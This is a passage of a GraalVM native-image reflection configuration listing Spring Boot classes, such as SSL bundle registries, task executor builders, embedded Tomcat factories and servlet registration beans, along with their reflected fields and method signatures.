\"name\":\"org.springframework.boot.logging.logback.SpringPropertyModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.springframework.boot.origin.OriginProvider\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.orm.jpa.JpaDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.orm.jpa.JpaDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.r2dbc.init.R2dbcScriptDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.reactor.ReactorEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.rsocket.context.RSocketPortInfoApplicationContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.AbstractScriptDatabaseInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"initializeDatabase\",\"parameterTypes\":[] }, {\"name\":\"setResourceLoader\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.AbstractScriptDatabaseInitializer$ScriptLocationResolver\"\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.AbstractScriptDatabaseInitializer$Scripts\"\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.DatabaseInitializationMode\"\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.DatabaseInitializationSettings\"\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.AnnotationDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor$InitializerBeanNames\"\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.DatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.sql.init.dependency.DependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.ssl.DefaultSslBundleRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addBundleUpdateHandler\",\"parameterTypes\":[\"java.lang.String\",\"java.util.function.Consumer\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getBundle\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"registerBundle\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.boot.ssl.SslBundle\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"updateBundle\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.boot.ssl.SslBundle\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.ssl.DefaultSslBundleRegistry$RegisteredSslBundle\"\n},\n{\n  \"name\":\"org.springframework.boot.ssl.NoSuchSslBundleException\"\n},\n{\n  \"name\":\"org.springframework.boot.ssl.SslBundle\"\n},\n{\n  \"name\":\"org.springframework.boot.ssl.SslBundleRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.ssl.SslBundles\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.task.SimpleAsyncTaskExecutorBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.SimpleAsyncTaskExecutorCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.task.SimpleAsyncTaskSchedulerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.SimpleAsyncTaskSchedulerCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.task.TaskExecutorBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.TaskExecutorCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.task.TaskSchedulerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.TaskSchedulerCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.task.ThreadPoolTaskExecutorBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.ThreadPoolTaskExecutorCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.task.ThreadPoolTaskSchedulerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.task.ThreadPoolTaskSchedulerCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory\",\n  \"methods\":[{\"name\":\"toMetadataReaderFactory\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.validation.beanvalidation.MethodValidationExcludeFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"byAnnotation\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.client.ClientHttpRequestFactoriesRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.client.ClientHttpRequestFactorySettings\"\n},\n{\n  \"name\":\"org.springframework.boot.web.client.RestClientCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.client.RestTemplateBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.client.RestTemplateCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.client.RestTemplateRequestCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.context.MissingWebServerFactoryBeanFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.context.ServerPortInfoApplicationContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.context.WebServerInitializedEvent\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.ConfigurableTomcatWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.ConnectorStartFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.SslConnectorCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatContextCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedContext\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatProtocolHandlerCustomizer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addConnectorCustomizers\",\"parameterTypes\":[\"org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer[]\"] }, {\"name\":\"addContextCustomizers\",\"parameterTypes\":[\"org.springframework.boot.web.embedded.tomcat.TomcatContextCustomizer[]\"] }, {\"name\":\"addEngineValves\",\"parameterTypes\":[\"org.apache.catalina.Valve[]\"] }, {\"name\":\"addProtocolHandlerCustomizers\",\"parameterTypes\":[\"org.springframework.boot.web.embedded.tomcat.TomcatProtocolHandlerCustomizer[]\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getWebServer\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.ServletContextInitializer[]\"] }, {\"name\":\"setBackgroundProcessorDelay\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setBaseDirectory\",\"parameterTypes\":[\"java.io.File\"] }, {\"name\":\"setResourceLoader\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }, {\"name\":\"setUriEncoding\",\"parameterTypes\":[\"java.nio.charset.Charset\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.tomcat.TomcatWebServer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.undertow.UndertowWebServer$UndertowWebServerRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.embedded.undertow.UndertowWebServer.UndertowWebServerRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.web.error.ErrorAttributeOptions\"\n},\n{\n  \"name\":\"org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContextFactory\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.server.AbstractConfigurableWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addErrorPages\",\"parameterTypes\":[\"org.springframework.boot.web.server.ErrorPage[]\"] }, {\"name\":\"getAddress\",\"parameterTypes\":[] }, {\"name\":\"getCompression\",\"parameterTypes\":[] }, {\"name\":\"getErrorPages\",\"parameterTypes\":[] }, {\"name\":\"getHttp2\",\"parameterTypes\":[] }, {\"name\":\"getPort\",\"parameterTypes\":[] }, {\"name\":\"getServerHeader\",\"parameterTypes\":[] }, {\"name\":\"getShutdown\",\"parameterTypes\":[] }, {\"name\":\"getSsl\",\"parameterTypes\":[] }, {\"name\":\"getSslBundles\",\"parameterTypes\":[] }, {\"name\":\"setAddress\",\"parameterTypes\":[\"java.net.InetAddress\"] }, {\"name\":\"setCompression\",\"parameterTypes\":[\"org.springframework.boot.web.server.Compression\"] }, {\"name\":\"setErrorPages\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"setHttp2\",\"parameterTypes\":[\"org.springframework.boot.web.server.Http2\"] }, {\"name\":\"setPort\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setServerHeader\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setShutdown\",\"parameterTypes\":[\"org.springframework.boot.web.server.Shutdown\"] }, {\"name\":\"setSsl\",\"parameterTypes\":[\"org.springframework.boot.web.server.Ssl\"] }, {\"name\":\"setSslBundles\",\"parameterTypes\":[\"org.springframework.boot.ssl.SslBundles\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Compression\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.ConfigurableWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Cookie\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Cookie$SameSite\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.ErrorPage\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.ErrorPageRegistrar\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.ErrorPageRegistrarBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.server.ErrorPageRegistry\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Http2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.MimeMappings\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.MimeMappings$Mapping\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.MimeMappings$MimeMappingsRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.server.MimeMappings.MimeMappingsRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Shutdown\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Ssl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Ssl$ClientAuth\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.Ssl$ServerNameSslBundle\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.WebServer\"\n},\n{\n  \"name\":\"org.springframework.boot.web.server.WebServerFactory\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.WebServerFactoryCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.server.WebServerFactoryCustomizerBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.AbstractFilterRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addServletNames\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"addServletRegistrationBeans\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.ServletRegistrationBean[]\"] }, {\"name\":\"addUrlPatterns\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"determineDispatcherTypes\",\"parameterTypes\":[] }, {\"name\":\"getFilterName\",\"parameterTypes\":[] }, {\"name\":\"getServletNames\",\"parameterTypes\":[] }, {\"name\":\"getServletRegistrationBeans\",\"parameterTypes\":[] }, {\"name\":\"getUrlPatterns\",\"parameterTypes\":[] }, {\"name\":\"isMatchAfter\",\"parameterTypes\":[] }, {\"name\":\"setDispatcherTypes\",\"parameterTypes\":[\"jakarta.servlet.DispatcherType\",\"jakarta.servlet.DispatcherType[]\"] }, {\"name\":\"setDispatcherTypes\",\"parameterTypes\":[\"java.util.EnumSet\"] }, {\"name\":\"setMatchAfter\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setServletNames\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"setServletRegistrationBeans\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"setUrlPatterns\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.DelegatingFilterProxyRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getFilter\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.DelegatingFilterProxyRegistrationBean$1\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.DispatcherType\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.DynamicRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addInitParameter\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"configure\",\"parameterTypes\":[\"jakarta.servlet.Registration$Dynamic\"] }, {\"name\":\"getInitParameters\",\"parameterTypes\":[] }, {\"name\":\"isAsyncSupported\",\"parameterTypes\":[] }, {\"name\":\"setAsyncSupported\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setIgnoreRegistrationFailure\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setInitParameters\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setName\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.FilterRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getFilter\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.RegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"isEnabled\",\"parameterTypes\":[] }, {\"name\":\"onStartup\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"setEnabled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.ServletComponentRegisteringPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"processAheadOfTime\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.ServletComponentScan\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.ServletComponentScanRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.ServletContextInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.ServletRegistrationBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getMultipartConfig\",\"parameterTypes\":[] }, {\"name\":\"getServlet\",\"parameterTypes\":[] }, {\"name\":\"getServletName\",\"parameterTypes\":[] }, {\"name\":\"getUrlMappings\",\"parameterTypes\":[] }, {\"name\":\"setLoadOnStartup\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setMultipartConfig\",\"parameterTypes\":[\"jakarta.servlet.MultipartConfigElement\"] }, {\"name\":\"setServlet\",\"parameterTypes\":[\"jakarta.servlet.Servlet\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.WebListenerRegistrar\"\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.WebListenerRegistry\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.context.ServletWebServerApplicationContextFactory\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.error.DefaultErrorAttributes\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getError\",\"parameterTypes\":[\"org.springframework.web.context.request.WebRequest\"] }, {\"name\":\"getErrorAttributes\",\"parameterTypes\":[\"org.springframework.web.context.request.WebRequest\",\"org.springframework.boot.web.error.ErrorAttributeOptions\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveException\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\",\"java.lang.Exception\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.error.ErrorAttributes\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.error.ErrorController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.filter.OrderedCharacterEncodingFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.filter.OrderedFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.filter.OrderedFormContentFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.filter.OrderedHiddenHttpMethodFilter\"\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.filter.OrderedRequestContextFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.web.servlet.server.AbstractServletWebServerFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addCookieSameSiteSuppliers\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.server.CookieSameSiteSupplier[]\"] }, {\"name\":\"addInitializers\",\"parameterTypes\":[\"org.springframework.boot.web.servlet.ServletContextInitializer[]\"] }, {\"name\":\"addMimeMappings\",\"parameterTypes\":[\"org.springframework.boot.web.server.MimeMappings\"] }, {\"name\":\"addWebListeners\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"getContextPath\",\"parameterTypes\":[] }, {\"name\":\"getCookieSameSiteSuppliers\",\"parameterTypes\":[] }, {\"name\":\"getDisplayName\",\"parameterTypes\":[] }, {\"name\":\"getDocumentRoot\",\"parameterTypes\":[] }, {\"name\":\"getInitParameters\",\"parameterTypes\":[] }, {\"name\":\"getJsp\",\"parameterTypes\":[] }, 